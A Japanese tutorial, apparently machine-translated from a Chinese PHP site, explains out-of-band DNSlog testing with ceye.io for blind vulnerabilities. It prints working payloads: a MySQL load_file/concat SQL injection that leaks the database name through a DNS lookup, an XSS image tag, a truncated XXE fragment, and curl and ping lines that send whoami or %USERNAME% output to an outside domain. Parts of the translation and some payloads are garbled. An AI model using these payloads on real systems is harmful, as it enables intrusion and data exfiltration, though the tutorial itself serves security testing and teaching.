一部の Web サイトのセキュリティ問題を実際にテストする場合、一部のテスト コマンドは実行後に応答がありません。ブラインド インジェクション用のスクリプトを作成できますが、一部の Web サイトは IP アドレスをブロックするため、IP プロキシ プールの設定を通過できます。問題はありますが、ブラインド インジェクションは非効率であることが多いため、DNSlog インジェクションが発生します。
dnslog を使用する前に、バックティック記号を理解する必要があります:
シンボル: `
名前: バックティック、上部区切り文字
位置: バックティック、この文字は通常キーボード上にあります左上数値 1 の左側の隅にある一重引用符と混同しないでください
機能: バックティックで囲まれた文字列は、シェルによってコマンド ラインとして解釈されます。実行されると、シェルは最初にコマンド ラインを実行し、そのコマンド ラインを使用します。標準 出力はバッククォート全体 (2 つのバッククォートを含む) を置き換えます。
DNSlog エコー テストは次のとおりです。
まず、構成可能なドメイン名 (ceye.io など) を用意し、次にドメイン名 ceye.io のネームサーバーを設定する必要があります。エージェントを介して独自のサーバー A としてサーバー A に DNS サーバーを設定し、ceye.io とそのサブドメイン名に対するすべてのクエリがサーバー A に送信されるようにします。この時点で、ドメイン名のクエリ要求をリアルタイムで監視できます。 、下の図に示すように。
DNS は解析時にログを残します。私たちの目的は、マルチレベル ドメイン名の解析ログを読んで情報を取得することです。
簡単に言うと、情報は上位のドメイン名に配置されます。自分自身に Go を渡し、ログを読んで情報を取得します。
原理は非常に抽象的です。実際の例を通して見てみましょう。
http://ceye.io これは、dnslog を記録するための無料のプラットフォームです。登録後、コントロール パネルに第 2 レベルのドメイン名が与えられます: xxx.ceye.io。インジェクション情報を入力すると、第 3 レベルのドメイン名 そこにバックグラウンド ログが記録されます。
0x01SQL ブラインド インジェクション
SQL ブラインド インジェクションを例に挙げます。 DNSlog インジェクションプロセスについての深い理解:
DNSlog を介したブラインドインジェクションにはload_file() 関数が必要であるため、通常は root 権限が必要です。 show variables like '%secure%'; load_file() が読み取れるディスクを確認します。
1. secure_file_priv が空の場合、ディスク上のディレクトリを読み取ることができます。
2. secure_file_priv が G:\ の場合、G ドライブ上のファイルを読み取ることができます。
3. secure_file_priv が null の場合、load_file はファイルをロードできません。
my.ini を設定して構成します。 secure_file_priv="" は、任意のディスク上のファイルをロードすることができます。
mysql コマンド ラインで実行: selectload_file('\\afanti.xxxx.cey.io\aaa'); ここで、afanti は挿入されるクエリ ステートメントです
プラットフォームを表示します。 dnsLogが記録されています。
load_file() 関数は、DNS を通じてリクエストを解決できます。
SQL-labs の 5 番目のレベルを取ります:
payload: ' and if((selectload_file(concat('\\',(selectdatabase()),'.xxxxx.ceye.io\abc') ) ),1,0)-- -
SQL ステートメントを実行しました: SELECT * FROM users WHERE id='1' および if((selectload_file(concat('\\',(selectdatabase()),'. xxxxx.ceye.io\abc'))),1,0)
dnslog ログを確認し、セキュリティ データベースがクエリされたことを確認します:
0x02 XSS (応答なし 表示)
タッチ タイピングを通じて、トリガーのブラウザがプリセット リンク アドレスにアクセスできるようにします。タッチ タイピングが成功すると、次のリンク アクセス レコードがプラットフォームで受信されます。 < ;img src=http://xss.xxxx.ceye.io/aaa>src で dnslog プラットフォームをリクエストしましょう
#0x03 ×××F (エコーなし) ペイロード:
%remote;]>
0x04 コマンド実行 (エコーなし)
ドメイン名に対して再帰的な DNS クエリ処理が実行されます。このとき、DNS クエリ要求はバックエンドで取得できます。実際にコマンドが実行され、プラットフォームがエコーを受信すると、脆弱性が存在することが証明されます。 。
Linux
curl http://haha.xxx.ceye.io/`whoami
pingwhoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io
以上がDNSLOG を合理的に使用してエコーフリーのセキュリティ テストを実施する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。